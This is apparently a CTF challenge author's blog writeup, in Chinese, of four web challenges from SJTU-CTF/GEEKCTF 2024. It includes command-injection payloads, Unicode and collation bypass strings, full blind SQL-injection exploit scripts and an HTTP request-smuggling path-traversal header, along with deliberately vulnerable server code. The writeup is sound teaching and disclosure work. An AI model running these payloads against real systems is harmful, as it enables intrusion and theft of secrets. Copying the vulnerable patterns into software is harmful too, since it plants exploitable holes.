加载中...
<cover></cover>

# SJTU-CTF / GEEKCTF 2024 部分 Writeup

2024-04-24 水

本文最后更新于 天前，文中部分描述可能已经过时。

去年还是选手，今年变成出题人了（

这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题：YAJF、Secrets、SafeBlog2、PicBed，赛后决定在博客上公开一下出题人的部分 Writeup 供参考。

## YAJF

Yet Another JSON Formatter.

Do you know `jq`? `jq` is a lightweight and flexible JSON processor.

P.S. The flag is inside an environment variable.

答题情况

SJTU-CTF 5 Solves / 764 pts

`0ops{rC3_1S_5o_eEEe@sY_hHhhHHH}`

GEEKCTF 27 Solves / 297 pts

`flag{rC3_1S_5o_eEEe@sY_hHhhHHH}`

一个在线 JSON 格式化工具，考察命令注入。

通过抓包不难发现，该工具是把原始 JSON 以及格式化参数 POST 到后端进行处理的。题目描述中已经明示使用了 `jq`，而 `jq` 是一个命令行工具，并且传入的几种格式化参数刚好和 `jq` 文档中的一致，不难嗅到一丝命令注入的味道。

经过一番 Fuzz 可以发现，只控制传入的 `json` 是无法实现命令执行的，这其实是因为 `json` 是直接作为 `stdin` 输入的，并不是命令的一部分。而通过控制传入的 `args` 则可以实现命令执行，不过要求每个 `args` 的长度不能超过 5，且输出必须是合法的 JSON。

要达到这些要求并不困难，一种简单的办法是使用管道符，将 `env` 命令的输出通过 `jq -R` 转换成合法的 JSON。在大家的 Writeup 中也看到了五花八门的解法，以下列举一些较为简短的供参考。

    args=|env|&args=jq&args=-R&json={}
    args=<<<&args=`env`&args=-R&json={}
    args=;echo&args=\"&args=$FLAG&args=\"&json={}
    args=;&args=echo&args=[\"&args=`&args=env&args=`&args=\"]

你知道吗

单个数字、单个双引号包围的字符串都是合法的 JSON。

最后揭秘一下命令到底是怎么拼接的，不过都能执行命令了，拖一份源码出来看看应该也不难吧。

    @app.route("/", methods=["GET", "POST"])
    def index():
        if request.method == "POST":
            args = request.form.getlist("args")
            json = request.form.get("json", "")
            # Limit argument length
            for arg in args:
                if len(arg) > 5:
                    return render_template(
                        "index.html",
                        error="One or more arguments are too long.",
                        args=args,
                        json=json,
                    )
            try:
                formatted = subprocess.check_output(
                    ["bash", "-c", f'jq . {" ".join(args)}'],
                    input=json,
                    text=True,
                    stderr=subprocess.STDOUT,
                )
                # Require output to be valid JSON
                try:
                    subprocess.check_output(
                        ["jq", "."], input=formatted, text=True, stderr=subprocess.STDOUT
                    )
                except subprocess.CalledProcessError:
                    return render_template(
                        "index.html",
                        error="Oh, no! Formatted text isn't valid JSON! Are you a hacker?",
                        args=args,
                        json=json,
                    )
            except subprocess.CalledProcessError as e:
                try:
                    error = e.output.splitlines()[0].strip()
                    if error.startswith("jq: parse error:"):
                        error = f"P{error[5:]}"
                    else:
                        error = "Internal server error."
                except:
                    error = "Internal server error."
                return render_template("index.html", error=error, args=args, json=json)
            return render_template("index.html", args=args, json=formatted)
        return render_template("index.html")

## Secrets

My notes and secrets are stored in this secret vault. I’m sure no one can get them.

答题情况

SJTU-CTF 7 Solves / 684 pts

`0ops{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}`

GEEKCTF 43 Solves / 207 pts

`flag{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}`

出题灵感来自于真实的攻击事件，考察文件包含、Python 字符大小写特性、MySQL 字符串比较特性。

打开网页只有一个登陆框，可以发现网页源代码中有一堆不知道是什么东西的奇怪注释，控制台也输出了一串神秘数字。这两处实际上是两个提示，并不是解出本题所必须的。

控制台的神秘数字是八进制下的 ASCII 码，转换后得到字符串 `Don't you think the color picker is weird?`，提示我们去看页面右上角切换颜色的功能。

你知道吗

对于这种奇奇怪怪的编码，可以使用 CyberChef 的 Magic 功能进行自动检测。

切换几次颜色并抓包，可以发现切换颜色时会先请求 `/setCustomColor` 接口，响应中会 `Set-Cookie`。

接着页面会从 `/redirectCustomAsset` 接口获取对应颜色的 CSS。不难发现这个接口会读取 Cookie 中的 `asset` 值，返回对应路径的 CSS 文件。

页面源代码中的奇怪注释则是 Base85 编码后的目录结构。

    .
    ├── app.py
    ├── assets
    │   ├── css
    │   │   ├── pico.amber.min.css
    │   │   ├── pico.azure.min.css
    │   │   ├── pico.blue.min.css
    │   │   ├── pico.cyan.min.css
    │   │   ├── pico.fuchsia.min.css
    │   │   ├── pico.green.min.css
    │   │   ├── pico.grey.min.css
    │   │   ├── pico.indigo.min.css
    │   │   ├── pico.jade.min.css
    │   │   ├── pico.lime.min.css
    │   │   ├── pico.orange.min.css
    │   │   ├── pico.pink.min.css
    │   │   ├── pico.pumpkin.min.css
    │   │   ├── pico.purple.min.css
    │   │   ├── pico.red.min.css
    │   │   ├── pico.sand.min.css
    │   │   ├── pico.slate.min.css
    │   │   ├── pico.violet.min.css
    │   │   ├── pico.yellow.min.css
    │   │   └── pico.zinc.min.css
    │   └── js
    │       ├── color-picker.js
    │       ├── home.js
    │       ├── jquery-3.7.1.min.js
    │       └── login.js
    ├── gunicorn_conf.py
    ├── populate.py
    ├── requirements.txt
    └── templates
        ├── base.html
        ├── index.html
        └── login.html

尝试修改 Cookie 中的 `asset` 把目录中的其他文件读出来，结果却返回 `Hacker!`，猜测可能是对路径开头做了检查。

尝试用 `../` 绕过检查，发现读取成功，于是可以把整个网站的源码拖下来。

网站的主要逻辑在 `app.py` 里，先看看登录部分的代码。

    @app.route("/login", methods=["GET", "POST"])
    def login():
        if session.get("logged_in"):
            return redirect("/")

        def isEqual(a, b):
            return a.lower() != b.lower() and a.upper() == b.upper()

        if request.method == "GET":
            return render_template("login.html")
        username = request.form.get("username", "")
        password = request.form.get("password", "")
        if isEqual(username, "alice") and isEqual(password, "start2024"):
            session["logged_in"] = True
            session["role"] = "user"
            return redirect("/")
        elif username == "admin" and password == os.urandom(128).hex():
            session["logged_in"] = True
            session["role"] = "admin"
            return redirect("/")
        else:
            return render_template("login.html", error="Invalid username or password.")

显然以 `admin` 的身份登录是不可能的（不会有人能猜出 `os.urandom(128).hex()` 的结果吧），那么唯一的可能就是以 `alice` 的身份登录。但是 `alice` 用户名密码的判等逻辑有点奇怪，`isEqual()` 要求两个字符串小写不同，但是大写相同，乍一看这好像也不可能啊。不过反正 Unicode 字符也不多，统统枚举一遍看看吧，结果还真发现了 4 个。

    import string

    for i in range(0, 0x10FFFF):
        c = chr(i)
        if c.upper() in string.ascii_uppercase and c.lower() not in string.ascii_lowercase:
            print(c, c.upper())

    ı I
    ſ S
    ﬅ ST
    ﬆ ST

于是用 `alıce` 作为用户名、`ſtart2024` 或 `ﬆart2024` 或 `ﬅart2024` 作为密码就可以通过这段验证，以 `alice` 的身份登录。但是由于我们现在并不是`admin`，只能看到 `notes`。

接下来的目标是越权访问 `secrets`，那就看看访问控制是如何实现的吧。

    type = request.args.get("type", "notes").strip()
    if ("secrets" in type.lower() or "SECRETS" in type.upper()) and session.get(
        "role"
    ) != "admin":
        return render_template(
            "index.html",
            notes=[],
            error="You are not admin. Only admin can view secre<u>ts</u>.",
        )

这里的逻辑是，如果当前用户不是 `admin`，那么检查传入的 `type`，如果 `type` 小写后包含 `secrets` 或大写后包含 `SECRETS`，那么拒绝访问。乍一看似乎也没什么问题，但是这种黑名单的过滤机制值得我们怀疑一下是不是有办法绕过。

再仔细阅读一下代码，发现有两行看上去没啥用的断言，告诉我们数据库的 Character Set 是 `utf8mb4`，Collation 是 `utf8mb4_unicode_ci`。

    assert character_set_database[0] == "utf8mb4"
    assert collation_database[0] == "utf8mb4_unicode_ci"

那么 Character Set 和 Collation 究竟是什么呢？查阅 MySQL 官方文档可以找到相应的解释。

> A character set is a set of symbols and encodings. A collation is a set of rules for comparing characters in a character set.

我们注意到，Collation 决定了 Character Set 中的字符进行比较的规则。MySQL 中比较两个字符串是基于它们的 Weight，而 Weight 由 Collation 决定。我们只要使用 `utf8mb4_unicode_ci` Collation 中与 `secrets` 具有相同 Weight 的字符串即可。符合这样条件的字符串其实有很多，事实上 `secrets` 的 `ts` 被加上了下划线，已经暗示了一种解法，以下列举一部分解法供参考：

    secreʦ
    Śecrets
    secre%00ts
    secréts

当然如果不知道这一点，也可以在本地起一个完全相同的环境，设置相同的 Character Set 和 Collation，用和之前一样的办法把 Unicode 字符都枚举一遍，也能找出可以绕过检查的字符串。

最后说说题目背后的真实事件。2023 年 12 月，OKX 交易所就曾因 Collation 设置不当遭受攻击。攻击者通过 `saʦ` 欺骗了数据库，成功冒充 `sats` 铭文代币出现在了搜索结果中，于是眼神不太好的用户就上当受骗了，被黑客狠狠割了韭菜。

实际上这并不是数据库软件的错，而是在字符串比较时没有使用正确的 Collation，使用 `utf8mb4_unicode_bin` 则可以规避这一问题。

## SafeBlog2

Using WordPress is a bit too dangerous, so I’m developing my own blogging platform, SafeBlog2, to have full control over its security.

Attachment

P.S. It is recommended to test your exploit locally before creating an online instance.

答题情况

SJTU-CTF 1 Solves / 1000 pts

`0ops{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}`

GEEKCTF 8 Solves / 611 pts

`flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}`

出题灵感来自于 MapleCTF 2023 `Data Explorer`，考察环境变量导致 `assert` 失效以及查询次数有限情况下的 SQL 注入。

直接审计压缩包中的源码，发现似乎并没有什么问题，`utils/db.js` 中实现的简易 ORM 采用了预编译绑定参数，对列名也使用 `assert` 做了检查，好像无懈可击？

仔细观察会发现，这里的 `assert` 用的是 `assert-plus`，查询文档得知这个库提供了通过设置环境变量使所有 `assert` 失效的能力。

> Lastly, you can opt-out of assertion checking altogether by setting the environment variable `NODE_NDEBUG=1`

查看压缩包中的 `compose.yml`，发现确实设置了 `NODE_NDEBUG=1`，所以可以直接无视代码中的所有 `assert`，也就是列名检查失效了。

你知道吗

在 Python 中也存在类似的能力，而且无需引入第三方库，通过设置 `PYTHONOPTIMIZE=1` 环境变量即可使代码中的所有 `assert` 失效。

此时再去寻找代码中直接接受用户输入作为列名的地方，发现评论点赞接口存在问题：

    app.get('/comment/like', async (req, res) => {
      try {
        const comments = await runQuery('comments', req.query);
        comments.forEach((comment) => {
          db.run('UPDATE comments SET likes = likes + 1 WHERE id = ?', comment.id);
        });
        res.redirect(req.headers.referer ?? '/');
      } catch {
        res.status(500).render('error', { message: 'Internal Server Error' });
      }
    });

`req.query` 是用户传入的全部 `GET` 参数，直接作为 `filter` 参数传递给了 `runQuery()`，而 `runQuery()` 调用的 `filterBuilder()` 中的列名检查失效了，因此会把 `req.query` 的所有键当作列名拼接进 SQL 语句中，值则采用预编译绑定参数，那么通过控制键名就可以任意操纵 SQL 语句，理论上就可以进行注入了。

    function filterBuilder(model, filter) {
      return {
        where:
          'WHERE ' +
          Object.keys(filter)
            .map((key, index) => {
              /* Assertion ignored since NODE_NDEBUG=1 */
              // assert(models[model].includes(key), `Invalid field ${key} for model ${model}`);
              return `${key} = ?`;
            })
            .join(' AND '),
        params: Object.values(filter),
      };
    }

    async function runQuery(model, filter, sort) {
      queries++;
      const { where, params } = filter ? filterBuilder(model, filter) : { where: '', params: [] };
      const order_by = sort ? `ORDER BY ${sortBuilder(model, sort)}` : '';
      return new Promise((resolve, reject) => {
        db.all(`SELECT * FROM ${model} ${where} ${order_by}`, params, (err, rows) => {
          if (err) {
            reject(err);
          } else {
            resolve(rows);
            if (queries >= 4) {
              db.run(`UPDATE admins SET password = "${passwordGenerator(16)}" WHERE id = 1`);
              queries = 0;
            }
          }
        });
      });
    }

然而阅读 `runQuery()` 的代码会发现，每 4 次使用 `runQuery()` 进行查询， `admin` 的密码就会被重置，所以显然不能直接注入获取密码，这该怎么办？

### 预期解

稍加思考不难发现，点赞接口会对结果集里面的每一条评论点赞，同时我们可以无限制地创建评论（创建评论不使用 `runQuery()`，不会触发密码重置），那么通过巧妙地构造 SQL 语句，我们就可以仅用 3 次查询，利用评论的点赞数间接泄漏出 `admin` 的密码，最后 1 次查询用于登录 `admin` 的账号获取 Flag。

具体构造 SQL 语句的方式有很多，看了大家的 Writeup 也确实各不相同，不过都大同小异，基本思想是一致的。以下是出题人笨拙的做法，供参考。

考虑到 `admin` 密码字符串长度为 32，每一位字符有 `0` - `F` 共 16 种可能，因此可以将每一位字符的每一种可能一对一地映射到 512 条评论上。选出每一位的字符对应的评论进行点赞，根据被点赞的评论 `id` 即可还原出密码，然后登录拿到 Flag。

    import re
    import requests
    import bs4

    url = "http://<instance_url>/"

    def create_comments():
        for i in range(512):
            print(i)
            # ID starts from 51
            r = requests.get(
                url + "comment/new",
                params={"name": str(51 + i), "content": str(51 + i), "post_id": 10},
            )
            assert r.status_code == 200

    def generate_payload():
        query = "{} AND '5'"
        char = "id = IIF(unicode((select substr(password,{},1) from admins)) <= 57, unicode((select substr(password,{},1) from admins)) - 47, unicode((select substr(password,{},1) from admins)) - 86) + 50 + 16 * {}"
        payload = {
            query.format(
                " OR ".join([char.format(i + 1, i + 1, i + 1, i) for i in range(32)])
            ): 5
        }
        print(payload)
        return payload

    def send_payload():
        r = requests.get(
            url + "comment/like", params=generate_payload(), allow_redirects=False
        )
        # Disallow redirect to avoid triggering another SQL query
        assert r.status_code == 302

    def get_result():
        hex_letters = "0123456789abcdef"
        r = requests.get(url + "post/10")
        soup = bs4.BeautifulSoup(r.text, "html.parser")
        article = soup.find_all("article")[1]
        lis = article.find_all("li")
        res = ""
        for i, li in enumerate(lis[:32]):
            id = int(re.search(r"(\d+)", li.text).group(1))
            res += hex_letters[id - 50 - i * 16 - 1]
        return res

    def get_flag():
        password = get_result()
        print("[+] Admin password: " + password)
        r = requests.get(url + "admin", params={"username": "admin", "password": password})
        flag = bs4.BeautifulSoup(r.text, "html.parser").find("code").text
        print("[+] Flag: " + flag)

    create_comments()
    print("[+] Comments created.")
    send_payload()
    print("[+] Payload sent.")
    get_flag()

### 非预期解

出题人粗心大意，重置密码的代码竟然写错位置了，于是被 4 位选手狠狠非预期了。

    if (err) {
      reject(err);
    } else {
      resolve(rows);
      if (queries >= 4) {
        db.run(`UPDATE admins SET password = "${passwordGenerator(16)}" WHERE id = 1`);
        queries = 0;
      }
    }

不难发现只有在查询成功的情况下，计数器才会累加，所以如果构造的 SQL 语句能够触发查询错误，同时能够通过延时来泄漏信息，那么就可以完全无视次数限制，当作普通的延时盲注来做。

具体而言，可以通过 `RANDOMBLOB()` 实现延时（因为 `sqlite` 没有 `SLEEP()`），通过 `load_extension(1)` 触发查询错误，只要延时先于触发查询错误即可，以下是选手 `__No0♭__` 的解法，供参考。

    def check(curr, mid):
        burp0_url = f"{HOST}/comment/like"
        burp0_headers = {"Connection": "close"}
        response = requests.get(burp0_url, params={f"'1' = ? OR CASE WHEN (SELECT unicode(substr(password,{curr},1)) FROM admins WHERE id = 1)<={mid} THEN (1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(250000000/2)))) OR load_extension(1/0)) ELSE load_extension(1/0) END;--":"zz"}, headers=burp0_headers, allow_redirects=False, proxies=PROXY)
        return response.elapsed.total_seconds() > 0.5

不过感觉难度上非预期解和预期解好像也差不了多少（？），所以无所谓啦。

## PicBed

PicBed is an elegant image hosting service which uses webp_server_go to serve your JPG/PNG/BMP/SVGs as WebP/AVIF format with compression, on-the-fly.

Attachment

P.S. It is recommended to test your exploit locally before creating an online instance.

答题情况

SJTU-CTF 1 Solves / 1000 pts

`0ops{cVE_2021_46104_No7_FULlY_p@TcH3d}`

GEEKCTF 7 Solves / 647 pts

`flag{cVE_2021_46104_No7_FULlY_p@TcH3d}`

想稍微拉高一下难度，所以拿了个开源项目的很鸡肋的漏洞出了这道题，考察 HTTP 请求走私和 Go 语言代码审计。

观察压缩包中的源码，发现前端是用 Flask 写的，负责页面展示、图片上传，后端使用了开源项目 `webp_server_go`，负责根据用户传入的 `Accept` 请求头返回原图或 WebP 格式的图片。我们的目标是拿到容器根目录下的 `flag.png`。

`webp_server_go` 默认加载的是 `/opt/pics` 中的图片。显然，我们需要挖掘 `webp_server_go` 项目中类似于目录穿越的漏洞并加以利用。通过搜索 `webp_server_go path traversal` 关键词，不难发现该项目曾经有一个 CVE-2021-46104，但是在这道题使用的 0.11.1 版本中已经修复了，似乎没什么用。

不过我们不妨看看 CVE-2021-46104 是怎么修的吧。通过翻阅项目的 Issues 以及 PRs，发现涉及该漏洞修复的 PR 是 #93 和 #103。进一步阅读这两个 PR 中的代码改动，会发现最核心的就是下面这几行代码。

从代码中看，开发者试图通过 `path.Clean()` 消除 `reqURI` 中的 `../`，从而避免目录穿越。通过查阅官方文档可知，`path.Clean()` 函数通过纯词法处理返回与参数等效的最短路径名。这样乍一看好像没什么问题，即使 `reqURI` 中有再多的 `../`，消除到最后似乎也仅仅只能回退到 `/`，再与 `config.ImgPath` 拼接，肯定无法穿越出 `config.ImgPath`。

但如果 `reqURI` 直接以 `../` 开头呢？经过尝试不难发现，在这种情况下 `../` 会被直接保留，再与 `config.ImgPath` 拼接，就能够实现目录穿越。

那么 `reqURI` 有没有可能直接以 `../` 开头呢？`webp_server_go` 使用的框架是 `fiber`，而 `fiber` 是基于 `fasthttp` 的。`fasthttp` 在面对 URI 不以 `/` 开头的畸形 HTTP 请求时，并不会报错，而是依旧将其作为合法的 URI 处理。这也就意味着 CVE-2021-46104 并没有完全修好，我们只需构造如下的畸形 HTTP 报文，就可以穿越到根目录读取 Flag。

    GET ../../flag.png HTTP/1.1

现在只剩下最后一个问题，如何把这个报文发给后端的 `webp_server_go` 呢？仔细观察前端的 `/pics/<string:path>` 路由，发现传给 `fetch_converted_image()` 方法的 `accept` 参数取的是 URL 解码后的 `Accept` 请求头，在 `fetch_converted_image()` 方法中直接拼接到了 HTTP 报文中。由此，我们可以实现 HTTP 请求走私，通过插入 URL 编码后的 `\r\n\r\n` 将一段 HTTP 报文截断为两段连续的 HTTP 报文，后一段 HTTP 报文是完全可控的，`fetch_converted_image()` 方法最终返回的也恰好是最后一段报文的响应体。于是，可以构造如下的 `Accept` 请求头实现我们的目标。

    Accept: image/webp%0d%0a%0d%0aGET ../../flag.png HTTP/1.1

所以最终的完整流程是，先随意上传一张图片，访问该图片并抓取 HTTP 报文，按上述方法修改 `Accept` 请求头，发送请求获取 Flag。

最后说说这个漏洞为什么鸡肋。首先畸形的 HTTP 报文必须直接发送给 `webp_server_go`，一旦中间有 Nginx 之类的反向代理对 URI 做了检查就无法利用了，这也就是为什么本题要将其和 HTTP 请求走私结合；其次该漏洞只能读取图片文件，因为 `webp_server_go` 会把读到的文件喂给 VIPS 处理，读到的文件只要不是合法的图片 VIPS 就会报错，攻击者无法得到文件内容，这也是本题 Flag 是图片的原因；最后攻击者还需要有图片的路径这一先验知识，否则很难读到有效的图片。

收完 Writeup 后已经将该漏洞报告给开发者，已于 0.11.3 版本中修复。

## 总结

这次我出的 4 道题的预期难度是简单、中等、困难、困难（按本文顺序）。GEEKCTF 的解题情况基本符合预期，Secrets 做出来的人意外地还挺多。SJTU-CTF 的解题情况则有点出乎意料，基本没什么人做 Web，完全没有像去年一样的盛况。从 SJTU-CTF 回收的问卷情况来看，有较多选手反映 Web 题目难度梯度不合理（虽然 Web 方向至少有 3 道出题人认为是简单的题目），然而某位几乎 AK Web 的巨佬又反馈 Web 题“一直做一直爽”、偏 MISC、没什么新东西，感觉难度梯度确实还挺难把握的，出那种既有意思又新手友好的题目好难啊TAT。

SJTU-CTF / GEEKCTF 2024 部分 Writeup
https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/
本文作者
Hans362
最后更新
2024-04-24
许可协议
CC BY-NC-SA 4.0
转载或引用本文时请遵守许可协议，注明出处、不得用于商业用途！
喜欢这篇文章吗？考虑支持一下作者吧～
爱发电 支付宝